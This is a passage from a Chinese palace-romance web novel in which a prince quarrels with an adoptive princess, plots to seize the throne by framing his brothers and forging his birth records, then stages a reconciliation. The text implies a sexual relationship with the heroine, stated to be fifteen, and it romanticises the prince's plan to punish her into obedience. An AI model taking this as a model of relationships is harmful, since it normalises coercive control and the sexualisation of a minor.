“萧珏不是我的心上人,你才是,你都不知道,我有多喜欢你……你对我好一点好不好,哥哥,你……既是我的三哥,你怎么能欺负幼妹呢……” 萧彻闻言只是冷笑:“我欺负你?呵,论倒打一耙的本领,又有谁比得上你?” 萧彻还在说这些阴阳的话刺她,颜嘉柔再也忍不住,啪嗒啪嗒地落下泪来,带了几分赌气意味地道:“总之我那么喜欢你,你不能这么对我……” 她到底哭得他心烦意乱。 他叹了口气,抬手替她擦拭了泪痕:“哭什么,不许哭——你倒有脸哭?” 他看了她一眼,从鼻端哼出一声,问她:“你有多喜欢我?” 颜嘉柔泪眼朦胧地看着他,微微张开了唇,一脸的茫然。 萧彻皱眉:“不是说很喜欢我吗,有多喜欢啊。” “噢……”颜嘉柔反应过来,开始绞尽脑汁地想说些让他开心的话。 她有多喜欢他呢,她想他都让他那样对她了,床笫之间,那样多羞人的滋事,为了哄他高兴,她都一一照做了,这还不够说明她有多喜欢他么? 扪心自问,她这辈子,绝对不会和第二个男人做这种事了。 可这些话,到底有些难以启齿。 便是这么一会儿犹豫的空挡,萧彻已经不耐了。 他自嘲地笑了一声,从她绵软濡//。湿的掌心之间抽回了自己的手:“算了,我也真是疯了,还等你编鬼话来哄我。” “你若真喜欢我,便跟我成婚,这事就这么简单。” 他一瞬不瞬地看着她,滚动了喉结:“我要你日日夜夜,都跟我在一处——这才叫喜欢。” “我……萧彻,我会和你日夜在一处,我会和你成婚,但不是现在,你等等我好么,等我们成婚了,你让我做什么,我都听你的,我什么都答应你……可是你得先等等我,哥哥,你就等等我,好不好……” “等?又是等?颜颜,你总是在叫我等,你到底让我等多久?难道要我等到死吗?” 颜嘉柔哭着道:“萧彻,你……你别这么说……” “我也不想让你等的……如果可以的话,我巴不得今日就跟你成婚,可是你看太子哥哥这个样子,原本就是我变心在先,若是他因我出了什么事,萧彻,这会是我们的罪孽,我这辈子都无法安心的……” “你就等等我,等太子哥哥的病治好了,我立刻就和你成婚,好不好?” “治好?”萧彻嗤了声:“倘若他能治好,这天底下,便没有阉人了。“不会的,他和那些阉人不一样,他只是那里受伤了,会好起来的。” “傻子,若是能治好,便是轻伤,太医院自然有法子,既有法子,他又何必意志消沉,寻死觅活?” “多半便是废了,那玩意儿若是废了,那便是废了。历朝历代有那么多的太监,其中不乏位高权重的,想尽办法都想复阳,可你看看,有几个能如愿的?那玩意儿没了,便再长不出来了,哪有‘治好’一说?” “不会的,他和那些太监不一样,他那个东西,尚在,他说打听到了一个秘方,会治好的……” “便是那玩意儿仍在,也不过是挂在dang下的死物罢了,”萧彻嗤道:“什么样的秘方,会比太医院的法子还管用?不过是自欺欺人,颜嘉柔,你听他扯。” “不会的,不会的……”颜嘉柔根本接受不了萧珏自此变成了一个废人,倘若是真的,那他该如何自处:“一定能治好的……” 萧彻见状,只觉心中邪火更炽,冷笑道:“太医们都束手无策的事,你倒笃定,怎么,萧珏那玩意儿,对你就那么重要?要我说,你也不必这么伤心,他那东西,废没废,也没多大区别。” “萧彻,你!”颜嘉柔瞪着他,胸脯上下起伏,太子哥哥都这样了,萧彻居然还说这种风凉话。 “怎么,生气了?我不过实话实说罢了,你试过了我,怎么可能还看得上他?” 颜嘉柔扭过了脸,不再去看他。萧彻说的,和她担心的,是一回事吗! 萧彻嘴上一向不饶人,如今正在气头上,自然也吐不出什么好话。 不过他也不愿再和她说这些有的没的,只问她:“那倘若他要是一直治不好呢?你也永远不和我成婚了?” 颜嘉柔怔了下,抬头看向他,依旧是那几句话:“不会的,一定会治好的……” 萧彻重重换了一口气,有那么一瞬间,他觉得没意思透了。 “你倒是对他有信心,他却未必信得过你,你已经是我的人了,一旦他发现你手臂上的朱砂已然不见,你猜他会不会心生芥蒂?” 颜嘉柔道愣了一下,小声道:“他已经知道我们的事了,他说,他不介意……” 她说这话本没有别的意思,不过是如实回答萧彻的问话而已,但落在 萧彻的耳中,却全然成了另一种意思。 他的额角重重一跳,戾气骤然间上涌,气极反笑道:“原来如此,怪不得突然反悔,不肯与我成婚了,原来是心上人不介意你和我有染……” “原本惴惴不安,以为失身于我,便只能和我成婚了,所以才一口答应,如今知道萧珏不介意,自然又要重新回到他的身边了,哪怕他已经成了阉人,也在所不惜……” “颜嘉柔,”萧彻只觉心口扎进一把利刃,一寸寸剜着他的血肉,“你就这么喜欢他?” “好,好,好,实在好极了,你这么喜欢他,我成全你。我们就此断了,不过是一段孽缘,我只当从没认识过你。我这辈子,都不想再看见你!” 第95章 第95章小兔总要乖一些才好。…… 燕骁来含光殿找萧彻时,萧彻正在大发雷霆。 刚到书房门口,他便险些被飞来的一块端砚砸到了脚。 他咂舌了一声,连忙往后跳了一步,好看的眉眼一弯,揶揄道:“不是吧,三殿下,月余不见,我一进门,你就给我这样一份大礼?” 萧彻五指扣住案角,青玉镇纸正压着一张洇墨的宣纸。 墨迹未干,上面是他亲手誊的《静心咒》。 他从桌案上抬起头,皱眉看了他一眼,情绪算不上好:“你来了。” 燕骁眉尾一扬,朝他走了过来,边走边扫视着一地被挥落的卷宗,微微皱眉道:“这是怎么了?谁惹你动了这样大的肝火?” 萧彻重新坐回了圈椅上,伸手捏了捏眉心,一脸的倦怠:“我授意二哥对萧珏动手,原以为他不过是弄断他一条腿,没想到他下手太狠,重伤了他的要害,只怕从此东宫又要多一位太监了。” 燕骁没忍住,噗嗤一声笑了出来:“看出来了,萧衍还真挺恨他这位亲大哥的。” 他说着抬眼看向萧彻,略一挑眉:“怎么?萧珏成太监了你不开心?其实要我说,断一条腿和断子孙根区别不大,甚至后者对我们来说更为彻底。” “跛子太子固然有损天颜,这太监储君则更是闻所未闻,古来当皇帝的,都追求千秋万代,一个阉人,注定是当不了储君的。萧珏断了子孙根,这回算是彻底出局了。” “而萧衍谋害皇兄的罪名一旦坐实,加上你给他下的套,流放都算轻的,不过堪堪留住一条命罢了,这储君之位,是想都别再想。” “这些都在我们的计划之内,每一步都算无遗策,不好吗?” 萧彻微微皱眉,搭在案桌上的手指蜷缩了下,只道:“原本没什么不好,唯一的不好,便是没算到那个小东西的变数。” 燕骁一愣,挑眉道:“小公主?她又怎么了?” “你们吵架了?”燕骁回味过来,一脸的了然:“我说呢,你发这么大的脾气,也只能是跟她有关了。” “我看那日你们一起回来的时候,她看你的眼神,都能拉出丝来了,红着脸,羞答答的,若是四下没人,只恨不能立刻亲在你脸上,我以为你们这回算是彻底好了,怎么,又闹便扭了?” “为了什么?不会又是为了萧珏吧?不是,他都成阉人了,小公主不会还对他念念不忘吧?” 萧彻冷笑道:“何止?她还要为他守身如玉,非他不嫁呢。” 便将今日之事与燕骁讲了一遍。 燕骁听完不由得摇头叹气:“啧,如此说来,你的这位小公主,也未免太不懂事了些。不过她从小骄纵,是被你们几个宠坏了的,你也不是不知道。虽然骄纵无脑了些,但心地不坏,她总觉得是她负了萧珏,如今萧珏遭此大难,她顾念旧情,不愿当这个恶人,也是情有可原。” “要我说,还是得怪那个萧珏,心眼焉坏,自己都成阉人了,还利用小公主的善心拉着她不放呢,他的目的就是为了挑拨离间,你可别着了他的道。” “不过话说回来,你最后对小公主说得那么绝情,真不要她了?” 萧彻低头摩挲着手上的玉扳指,突地一声笑:“怎么可能。” 案边烛火映照在他脸上,光影明明灭灭。 他低垂眼眸,长睫在眼睑处投下一片暗影。 烛芯忽然爆出细响,火光陡然跳蹿,愈发映亮他的一张脸。 火舌舔舐之下,有一种令人心惊的俊美。 他唇角缓缓勾起,语调漫不经心中却又透着十分的笃定:“她是我的,谁也夺不走。” “若是放在从前,我或许还可以做一回成人之美的君子,可如今,她既成了我的人,我便再也没有放手的道理。” “我可不是能让人随意召之即来,挥之即去的。是她先招惹的我,既利用我做了解药,便得将她一辈子抵给我。尝过了我的解药,又想拍拍屁股走人,这天底下,没有这样便宜的事。” 燕骁闻言眉尾一扬,抱起双臂,半坐半靠在桌案上,侧过身,将脸凑了上去,戏谑道:“解药?什么解药?她尝过你什么解药啦?是我想的那个吗?不是,那她还肯走啊。” “嘶,我说呢,难怪那日她看你的眼神那么黏糊,原来你们两个……咳咳,有奸//。情了就是不一样哈。” 萧彻:“滚。” 燕骁也不恼,依旧嬉皮笑脸地道:“不过萧闻祈,你既然不打算放过人家,干嘛说得那么绝情啊。人小公主该哭鼻子了吧,她得了那样的怪病,根本就离不开你,别说生病了,你和她……咳咳,有过那事,她即便未曾染上怪病,这辈子,怕也离不开你了。” 他用手肘碰了碰她:“说说呗。你们兰陵人不最会勾引人了么,怎么偏生到了你这儿,说出来的话那么绝情,小公主到底哭了没啊。” 萧彻冷冷地看了他一眼:“你倒关心她。” “不是,想什么呢,”燕骁笑着打了他一拳:“我的醋你也吃啊。” “说说呗,她怎么个反应,哭了没有。” 萧彻蹙眉,有些烦乱的地吐出一口气:“我不知道。我说完后就摔门出去了,没有看她,我怕自己心软,她一哭我就走不了了。” 燕骁一愣,忍不住噗嗤一声笑了出来:“萧闻祈,你也就这样了,这点出息。” “那你既然那么在乎她,又何必吵架,这不是把她往萧珏那边逼吗?你就不怕她真不来找你啊。到时候哭都没地儿去。” “她不会不来找我的。” 萧彻轻笑一声:“你不是也说了,她根本离不开我。” “不出三天,她一定会乖乖过来求我。” “我自然不会放手,只不过小兔不太乖,总要让她吃些苦头。” “也让她好好想想,要那个阉人还是要我。” “自己想明白了最好,若是不然,我也自然有别的法子,总归她根本离不了我,便注定逃不开我的手掌心。” “之前就是太宠着她了,才会养成她如今这样的脾性,以为我什么都会惯着她,能一而再再而三地容忍她为了萧珏拒绝我,伤我的心。” “虽说我跟她说断了,只是我的气话。不过也好,正好趁着这个机会,冷她几天,好好磨磨她的性子。” 小兔总要乖一些才好。 燕骁闻言点了点头,倒是颇为赞同:“你那位心肝,说实话,脾气真算不上好,一身骄纵的臭毛病,人又不聪明,别的本事没有,惹你生气的本事那是一套一套的,你真该好好治治她,别总惯着她。” 萧彻屈指手指,轻扣了桌面,抬头看他:“她脾气好不好,人又聪不聪明,倒也轮不到你来说道。” 燕骁:“…………” 燕骁摆了摆手:“行了,行了,算我多嘴行了吧。是你自个儿说她脾性不好,我以为你也想我帮你义愤填膺地说她几句解气,结果真说了你又不高兴。” 萧彻:“你懂什么,她到底年纪小,难免不懂事些,我日后自会好好调教。虽说她有些小毛病,可她天真单纯,心地善良,瑕不掩瑜。这世上,除了我,没人能说她半句不是。” 燕骁:“…………”咦,恋爱脑真可怕。 燕骁:“行了行了,不说你心肝了,说说正事吧。如今萧珏已成了废人,你打算什么时候在朝堂上动手?” “萧珏已经残废,下一步便该对萧衍下手。至于之后,你上回说,圣上暗示你洗清血脉争议,方便继承大统,这事究竟是不是真的?” “我还是不放心,若是你会错了意,届时在朝堂上圣上不配合你,那欺君之罪可不是闹着玩儿的。自从贵妃薨逝后,圣上对你的宠爱不比从前,你真出了事,他未必还会力排众议保下你。” 萧彻低头看着手掌,发出一声意味不明的轻笑:“放心吧,无论我做了什么,哪怕是犯下天大的过错,他都会留我一条性命。” “不为别的,只为我是这世上,我母妃留下的最重要的一件遗物。” 燕骁一愣,点了点头道:“也是,旁的遗物都是死的,又怎比得上你?” “至于他暗示我洗清血脉一事,”萧彻垂眸,仿佛陷入了回忆:“我想不会有假。” 他还记得那日魏元帝旧疾复发,召他们几个皇子侍疾,萧珏和萧衍走后,他拉着他的手,口中叫着“彻儿”,一遍遍地对他说:“若是你身上没有一半兰陵皇室血脉就好了……若是让所有人相信你并非兰陵皇族之后就好了……这样等到找到机会将萧珏与萧衍废黜,那帮玄陇世家就 再无借口阻止朕立你为储君了……” “那朕就可以完成沉鱼的遗愿了……朕知道她想要什么,朕一直都知道……朕会帮她,这是朕最后能为她做的事了,朕一定会帮她……” 他紧紧拉着他的手,像是透过他在看什么人,脸上渐渐露出奇异的微笑:“这样,等到了九泉之下,她会不会原谅朕?” “彻儿,朕会帮你,你也帮帮朕,好不好?朕这一生,机关算尽,不择手段,以为终于得偿所愿,可到头来,却早已弄丢了最珍贵的东西。直到失去了,朕才明白最想要的究竟是什么,可惜,已经太迟了。” “彻儿,朕聪明的彻儿,你会明白父皇的意思的,是不是?” “帮帮朕,帮帮你母妃,也帮帮你自己。” 第96章 第96章“哥哥,我错了,你别不…… 再次回过神来时,是燕骁点了点头,看着他道:“既然你能确信,那我也就放心了。” “人选有了么?要想洗清血脉争议,你就不能是贵妃的儿子,可你这长相……只怕人选不好找。” 萧彻要笑不笑地扯了唇角:“放心,托我父皇的福,人选是现成的。” “怎么说?” “姬乐跟我说过一些旧闻——早年因御花园刺杀一案,余下的兰陵人皆被流放,路上染了重病,无一幸存。按理说兰陵人体质异于常人,轻易死不了,即便流放,也很难会因为染疾全都死在路上,可偏偏这事就是发生了。” “明眼人都知道这是怎么回事,无非是萧元乾为了我母妃口头上答应留她族人一命,可背后承受不住世家的压力,抑或是想斩草除根,还是默许了他们在路上动手。” “这事之后,我母妃郁郁寡欢了很长一段时间,也很难强撑着精神再与萧元乾虚与委蛇。” “便是这段时间,萧元乾整日酗酒,后在宫里遇到了一名与母妃有几分相似的女子,酒醉之下将她当做了母妃,宠幸了她,她就是姜嫣。” “那一夜过后他有了皇子,只不过生下没多久之后便夭折了,人也变得疯疯癫癫。” “之后她就被萧元乾打入冷宫,他一向如此,除了我母妃,他对旁的女子都十分绝情……哦,不对,”萧彻忽然诡异地一顿,慢慢眯起眸子:“他对我母妃,才是最绝情的一个。” “至于那个姜嫣,虽然在冷宫里生活了多年,人也早就变得疯疯癫癫,但我之前去看过她,容颜倒是依旧未改,确然有我母妃的几分风姿。” “而她之前虽为奴籍,但也是士族出生,只不过因为获罪被抄家,这才沦为官奴。前段时间又恰好被平反,那么,便并非罪臣之后。” “一个士族出生的贵女,门第高贵,她的后代便不会被门阀所不容。” “她长得又肖似我母妃,自然与我也有几分相像。之前还诞下过皇子,与我母妃正巧前后临盆,诞下的皇子却诡异地夭折了,她又变得疯癫,整日里都在念着皇儿未死,那日见到我,竟像是疯了一般,说我便是他的皇儿,模样倒颇为唬人。” “疯子的话的确不可信,可疯子的话却也最可信。” ——“这种种条件加在一起,不正是最好的人选?” 燕骁点了点头:“确实。她的存在,倒像是为你量身打造的一般。” “不过如何让所有人相信,她才是你的生母呢?你可都部署好了?” 萧彻道:“已经找到了当初给我母妃和姜嫣接生的两位稳婆,对簿朝堂之时,世族派去的人会在给姜嫣接生的稳婆的房间里搜到二十年前波斯进贡的织金锦,那是我刚出生时身上裹着的锦缎,这种锦缎,萧元乾只赐给了我母妃,如今明面上宫中已无存余,但是他们不知道,萧元乾还留有一块,并在几日前赐给了我。” “至于他为什么会将一块锦缎留有二十年,我想大约凡是我母妃喜欢的东西,他都要留一样在身边,仿佛每留下一样,他便能多留住母妃的一分喜欢——你说多可笑?” “皇权之下,人证可以强逼,物证可以捏造,容不得他们不信。” “最后的真相,是我母妃产下死胎,萧元乾恐她伤心,命稳婆偷偷调换了她与姜嫣的孩子——别说,这还真是萧元乾能做出来的事。” “我设计的真相,萧元乾一定会亲自为我作证。等着看吧,届时自会有一场好戏。” “嘶,说到好戏,我还有一场更有趣的戏呢。” 说到这里,他忽然极轻地笑了一声。 烛光掠过他的眉眼,动荡出一段惊心动魄的潋滟。 “滴血认亲,是不是很有趣?他们想看什么,我便给他们看什么。” “只是不巧,得让他们失望了,我和姜嫣的血必定相融,不为旁的,只为兰陵男子的血,天生可以与任何女子的相融,可惜啊,”他嗤笑一声,眸中闪过一丝冷光:“兰陵人被他们屠戮殆尽,他们再也没有机会知道这个秘密了。” 燕骁喉结滚动,轻轻拍了拍他的肩:“好了萧彻,你做了这么多,你母妃在天之灵,也会感到慰藉的。” 他看了他一眼:“既然都已部署周全,你打算什么时候洗清血脉争议?” 萧彻眼睫低垂,投下一片淡淡阴影:“不急,眼下并非最好的时机。” 冷白的手指微蜷,指尖轻扣着桌面,他道:“算算日子,崔家那边也该有动作了,之前骊山的那匹雪花骢尸身仍冰冻着,腹中被动了手脚的草料也依然保存完好,证据既在,便也该是时候派上用场了。” “东宫不是在查坠马案么,我便帮他们一把,引他们发现那匹雪花骢,萧衍两次在草料上下的都是同一种药,手法如初一撤,东宫的人剖腹一看,自然会知道两次坠马并非意外,且都由一人所为。” “萧衍之前事事都听我的安排,却不知安插在沙苑监的那名下监,是我的人。他以为由萧珏亲自选人,就真查不到他头上了么?” “这不过是我哄骗他的一番说辞罢了,等东宫的人找到那匹雪花骢后,朝堂上都会知道骊山坠马是人祸,既是人祸,则必然要追查真凶,那么这个时候,那名在草料中下了避寒香的下监听到风声,畏罪潜逃,也是顺理成章之事。” “人既然逃了,房间自然要好好搜查。那么从房间中搜出几封信函、剩余的避寒香,以及其他的物证,矛头直指萧衍,也并不意外。” 燕骁闻言点头道:“不错,这几步棋你埋得早,又埋得极深,环环相扣,并不刻意,旁人该是看不出端倪。” “萧珏已成了废人,再清算了萧衍,眼看已无人可继位,众人难免将目光放在你身上,可因着你的血统争议,朝臣也不会松口,可一时却也无合适人选,正是焦头烂额之际,这时你若能洗清你的血脉争议,让他们相信,你非但不是前朝皇室余孽,反而是士族之后,他们对你,自然不会像从前那般严防死守。” “这样一来,你就有机会了。” 萧彻“嗯”了一声:“还有一件事,姜嫣虽是士族之后,与崔氏倒也渊源匪浅,只是到底不是崔氏之人,崔守阶那个老狐狸,在没有完全信任我之前,不会那 么容易让步,同意立我为储,这个时候,我需要有朝臣站出来,与之据理力争。” 燕骁闻言皱眉道:“为你据理力争?可满朝士族,皆以崔守阶马首是瞻,又怎会为你说话?” 萧彻指尖轻轻敲击桌案,只道:“所以,便要找一个寒门出生的朝臣。” “你有人选了?” 萧彻“嗯”了一声,说出了一个人的名字。 ——贾唯。 “贾唯此人,出生寒门,心性极高,一心想往上爬,他并不是庸庸无能之辈,倒是颇有才能手段。可如今大魏的官场已然成形,以崔守阶为守的玄陇门阀把持着朝政,唯有士族子弟才能平步青云,而那些出生寒门的官员,寒窗苦读多年,好不容易跻身官场,却仍为士族门阀所不容,大多一生碌碌无为,永无出头之日。” “他贾唯若想往上爬,便只能与我合作,一同对抗士族,一旦事成,我继任大统,他便有从龙之功,他是个聪明人,这个机会,他不会不要。” “虽则朝堂为士族所把持,可底下的寒门官员并不在少数,一旦有人出头,加以笼络,必能形成一股不小的势力,为我所用。” 燕骁点了点头:“不错,先将此人招了,以他为刃,替你划开士族门阀的口子。” …… —— 萧彻先前断言,不出三日,颜嘉柔便会乖乖来求他。 可事实证明,他还是太高估她了。 吵架的第二天,她便在含光殿门口闹着要见他。 萧彻有心要冷落她几天,磨磨她的性子,自然闭门不见。 颜嘉柔什么脾性,自然不依,大发了一通公主脾气,之后冷静下来,便咬着手指,慢吞吞地转了转不太聪明的脑袋,仔细回忆上回是如何跟他和好的。 哦,是了,那回下了大雨,她听了映雪的话,故意站在雨中淋雨,才逼得萧彻不得不出来见她。 她眼神一亮,连忙抬头望去,可惜今日天公实在太作美,晴空万里,不见一丝乌云,怎么看都不是个会下雨的情形。 苦肉计行不通,小公主又耷拉下了小脸。 最后不死心地在殿门口徘徊了半个时辰,才终于气呼呼地回去。 回去之后,自然又是免不了发脾气,将房间里的物件扔的到处都是,却仍是不解气。 发完脾气就又开始哭,一会儿抽噎着开始后悔:“哥哥,我错了,你别不理我……” 一会儿又越想越气,大骂道:“萧闻祈从来就是天底下最最讨厌之人,一贯如此!” “他只会欺负我,我再也不想见到他!” 哭到伤心时,膳食也不肯用,趴在床上哭得肩背耸动。 映雪瞧着心疼,劝她道:“主子,方才在含光殿您不哭,如今在这又哭什么,三殿下又看不见,倒是白白浪费了这许多眼泪。” “我才不在含光殿哭!让他们都笑话我!我就要一个人躲起来偷偷哭,呜呜……” 映雪叹了口气:“主子,您这样也不是个办法。” “您若真想见三殿下,奴婢这里倒有个法子。” 颜嘉柔闻言渐渐止住了哭声,从迎枕上抬起头,泪眼朦胧地看了映雪一眼:“什……什么办法?” 映雪微笑着在她身边坐下,凑过去与她耳语一番。 颜嘉柔仔细听着映雪的话,红唇微张,眨了眨眼道:“你是说……去找皇祖母帮忙?” “不错,太后素来宠你,不会不答应。至于三殿下,他为人冷淡,与宫中众人素来不亲近,但唯独太后,他倒是与之十分亲厚,太后请他过去小坐,他必不会不卖她这个面子。” 颜嘉柔眼睛一亮,想着是这个理,立刻便欢喜道:“那我现在就去找皇祖母!” 说完也不哭了,胡乱擦拭了一把泪水,便要着急地下床。 映雪看着她,见她浓睫沾泪,一张小脸粉白斑驳,淌满泪痕,眼圈红红的,好不可怜。 她原本便生得冰雪可爱,娇美动人,如今美人垂泪,眸光盈盈,实在是我见犹怜,任谁看了都会心软三分的,何况是素来便疼爱她的太后。 映雪觉得颜嘉柔此去,至少有九成的把握。 第97章 第97章“这样娇滴滴的皇妹,他…… 映雪刚想再叮嘱她几句,一个不留神,她早就下床跑远了。 映雪一愣,总觉有哪里不对,余光瞥见地上那双金叶云头履,方才反应过来,连忙朝着她的背影喊道:“小祖宗,你还未穿鞋!” 颜嘉柔紧急停下,又连忙提着裙子折返了回来,皱巴着一张小脸,一副急得快要哭出来的模样,口中嘟哝着催促道:“哎呀,映雪,快一些快一些……” 映雪一面安抚着小公主,一面弯腰帮她穿鞋。 鞋一穿好,小公主又提着裙角,急急忙忙地往门口跑,活像一只跳脱的小兔子,抓都抓不住。 她今日为了去见萧彻,特地穿了一身轻纱质地的百褶裙,裙摆饰有孔雀羽线的刺绣,缀以珍珠,行动间摇曳生姿,轻盈飘逸,就像一只翩然灵动的花蝴蝶。 映雪一晃神的功夫,她果然也像一只花蝴蝶一样转眼便飞走了。 她有些好笑地摇了摇头,心想,便这么急么? 她很早就知道她的这位小祖宗真正喜欢的是三殿下,只是不知道从什么时候开始,她竟然已经喜欢他喜欢到这种程度了。 恐怕连她自己,都尚未意识到吧。 —— 这日薛止敲门进来,说是太后差人过来,想请三殿下去安仁殿一叙。 萧彻从卷宗中抬起头来:“怎么?她老人家有事?” “说是近日神思疲乏,夜里多梦,梦到了殿下你小时候的事,便想请你过去一叙。” 萧彻没有多想,点了点头道:“知道了,”他将手中的卷宗合上往边上一扔:“回头备些养神滋补的药材,和我一起去一趟仁安殿。” “是,主子。” —— 等萧彻去了仁安殿见到太后,却发现她老人家精神矍铄、神采奕奕,怎么也不像神思疲乏,夜里多梦的样子,当下便瞧出了端倪,多留了个心眼。 等宫婢将茶水奉上后,他掀开杯盖拂了拂上面漂浮的茶沫,余光果然瞥见对面的一扇屏风后面有一角藕粉纱裙若隐若现,裙边缀着的珍珠散发着莹润的光泽。 萧彻弯了弯唇角,将手中的茶盏搁置在桌上,一抬眼,似笑非笑道:“皇祖母,你屏风后好像藏了个人影,鬼鬼祟祟的,莫不是刺客?” 话音刚落,便见那道藕粉色的身影一顿,连忙做贼心虚地往里缩了缩。 萧彻眉梢轻抬,越发起了逗弄的心思,懒洋洋地道:“果真是刺客,一听见我们说她,便又躲回去了。宫中混入刺客,这可不是小事,”他故意朗声道:“来人啊,抓刺——” 颜嘉柔被吓了一跳,不得不被迫现身:“不……不是刺客……” 少女从屏风后面走了出来,窘迫地站在两人跟前,局促地绞着手指,低着头,细如蚊讷:“是……是我……嘉柔……” 在眼下这般尴尬的境况下,她自觉无地自容,却仍忍不住抬头偷偷去瞄萧彻。 太后抚了抚额,连忙掩饰性地去端茶盏,装作什么都没看到。 萧彻自上到下打量了她一番,唇角噙着一丝玩味笑意: “哦?原来,是皇妹啊。” 颜嘉柔软糯地应了一声:“嗯,三……三哥……” 太后眼见她那个不争气的小孙女,一见到萧彻,三魂便跟着丢了七魄,只知道呆呆地看着他,旁的竟也什么都顾不上了,还得她这个老婆子出面替她转圜:“彻儿啊,是这样,这小嘉柔呢,听说哀家这几日睡不安稳,特地过来看望哀家,给哀家带了一些安神香过来……” “她前脚刚来,正巧你后脚便到了,小嘉柔说她最近说了一些话,惹你生气了,怕你还在气头上不愿见她,便想着先去屏风后面躲着,等哀家做做和事佬,帮她在你面前说说好话 ,等你愿意见她了,她再出来……” “谁知道我们彻儿那般细心,进来没多久就发现我们小嘉柔藏在屏风后面……发现了也好,有什么事,当面说清楚就好了。” “要让哀家说啊,你们是一起自小长大的兄妹,兄妹之间,哪有隔夜仇呢。彻儿,你也是,嘉柔不过才及笄,堪堪十五岁的年纪,还是一团孩子气呢,你年长她几岁,要比她沉稳懂事许多,怎么还跟幼妹计较?” “她是你最小的妹妹了,又不比你旁的几位妹妹,她到底是异姓公主,你做哥哥的,便更是要多关心她,往后相处,你也要多让让她,知道么?” 萧彻不动声色地端起茶盏,轻抿了一口:“知道了,皇祖母。” 太后闻言笑眯眯道:“这就是了。” “今日就让哀家替你们做个见证,我们小嘉柔和彻儿啊,要和好如初,以后和和美美的。” “说起来,小嘉柔已经及笄,彻儿也已及冠,都该考虑婚姻大事了,要哀家说啊,你俩便般配得很,自小一起长大,知根知底的,也都是哀家喜欢的好孩子,以后若是能给哀家再生个小重孙、重孙女的,那哀家便再高兴也没有了……” “你们俩生的孩子啊,必定冰雪可爱,漂亮的不得了……” 太后越说越高兴,起身牵过俩人的手搭在一起:“等过段时间啊,哀家就做主替你们向圣上要个恩典,让他亲自给你们赐婚……” 说着转头笑眯眯地看向颜嘉柔:“小嘉柔,你意下如何啊?可愿意嫁给你三哥?” 颜嘉柔脸颊染上红晕,嗔怪道:“皇祖母,哪有您这样问的……” “哟,我们小嘉柔面皮薄,害羞了……” 太后再转头看向萧彻时,他却已经不动声色地将手抽了回来。 颜嘉柔心微微一沉,有些不安地追问道:“三哥,你……你原谅我了么?” 萧彻漫不经心地向她投去一瞥,微微笑道:“皇妹,你都搬出皇祖母了,三哥还能说什么呢?” “你确实年纪尚小,皇祖母说的不错,我做哥哥的,理应礼让幼妹,不与你计较。” “过去的就让他过去吧,旧事不提,我们还是做回和睦礼让的兄妹。” 颜嘉柔眨了眨眼,她脑子笨,不是很能听懂萧彻的弦外之音,单以为“旧事不提”便是翻篇的意思,当下喜出望外,眼睛亮晶晶地看向萧彻,上前握住他的手:“哥哥,我就知道你最好了,你放心,我以后一定乖乖地……” 话还没说完,萧彻手腕翻动,挣脱了她温熱的手心。 颜嘉柔一愣,怔怔地看着自己空落落的手心,抬头有些无措地看着他:“哥哥……” 萧彻看了她一眼,语气依旧十分客气,却带着一种淡淡的疏离:“皇妹,我们做回寻常兄妹,相安无事便可,我们既无血缘之亲,也无旧时情谊,倒也不必这么亲密。” 颜嘉柔呆住了,等反应过来萧彻是什么意思后,眼圈霎时就红了。 萧彻已经收回了视线,起身看向太后,淡淡道:“皇祖母,与嘉柔不计前嫌自然可以,毕竟做哥哥的,哪有和幼妹计较的道理,皇祖母教训的是。” “可至于赐婚之事,还请皇祖母莫要乱点鸳鸯谱了,我与嘉柔,不过兄妹之情,她心中真正爱慕的,从始至终只有太子,哪怕太子如今重伤,她依然痴心不改,用情之深,着实让人佩服。皇祖母要将她赐婚于我,岂不是棒打鸳鸯么?孙儿虽算不上君子,却也有成人之美,尤其从不愿勉强于人。” “好了,孙儿想起还有一些要事尚未处理,皇祖母这儿既有嘉柔作陪,孙儿便不久留了,改日再来看望祖母,孙儿告退。” 说完朝太后行了个礼,便转身出去了。 太后看了眼在一旁早已哭成个泪人,却死死咬住唇瓣,不让自己哭出声的颜嘉柔,顿时颇为头疼,有心想要叫住萧彻这个小混账,斥责他几句,让他好好哄哄幼妹,可一抬头,哪里还有他的踪影? 这个混账,这样娇滴滴的皇妹,他怎忍心弄哭的? 太后轻轻叹了口气,这两个孩子啊,真是不让人省心! —— 萧彻出了仁安殿后,方才踏上廊庑不久,身后忽然传来一阵急促的脚步声,显然是有人追了上来。 萧彻勾唇,放缓了步履,果然听到脚步声渐近,颜嘉柔略带哭腔的声音传了过来:“哥哥……等等我,我有话跟你说……” 萧彻略一挑眉,步子未停,继续往前走。 他身高腿长,走路自然要比她快上许多,颜嘉柔眼看着他并未停下等她,依旧往前走,唯恐追不上他,心中一急,跑得快了些,一不留神,就被裙边绊倒了。 身子重重地摔在地面上,虽然并不算太疼,可她怔然过后,却忽然崩溃地痛哭起来,或许是积攒已久的情绪此刻终于再难压抑,借着机会彻底爆发了出来。 她真的好难过,萧彻为什么对她这么冷淡,还说那样的话,也不肯停下来听她讲话,他真的不要她了么…… 他原来根本没有那么喜欢她,说什么喜欢了她那么多年,都是骗人的,骗子,萧闻祈是个大骗子! 天底下怎么会有他这么坏的人……她忍不住骂出了声:“坏人,萧闻祈最坏了,从小到大,一贯如此,我这回再也不要原谅他了……” 却忽然听得细微的脚步声渐近,颜嘉柔一愣,只见一双绣了银线云纹的锦靴映入眼帘。 她微微一怔,目光顺着锦靴缓缓向上。 只见来人长身玉立,俊美异常,不是萧彻又是谁?—————————————————————————— 第98章 第98章身上却忽然又泛起一阵奇…… 颜嘉柔一怔,在看清萧彻的一刹那,眼中倏尔闪过一丝光亮,然而不知想到了什么,又渐渐黯淡了下去,只泪眼朦胧地看着他,犹疑地叫了他一声:“三……三哥……” 萧彻居高临下地看着她,微微蹙眉:“摔疼了没有?” 颜嘉柔下意识地摇了摇头,却又想到若她说不疼,萧彻以为她无事,说不定便不再管她,转身就走了,便连忙点了点头,红着眼圈,委屈巴巴地看着他:“疼……哥哥……我疼……” 一边说着,还一边伸出手,偷偷地去拽他下垂的袍角。 哼哼,将他衣袍一角拽在手心,他就跑不了了。 萧彻察觉到底下的动静,低头一看,轻扯了唇角:“傻子。” 小姑娘脸颊微红,有些窘迫地低下了头:“哥哥……” “皇妹,”一只手却忽然递了过来,手指修长,冷白如玉,手背上匍匐着几条淡青色的经络,略微凸起:“你打算在地上趴到什么时候?” 萧彻淡淡地看了她一眼:“还不起来?” 颜嘉柔一愣,连忙将手递上,甜甜笑道:“嗯!” 小姑娘的手掌绵软温熱,掌心肉软而多,像某种小动物爪子上的肉垫,手感极佳。 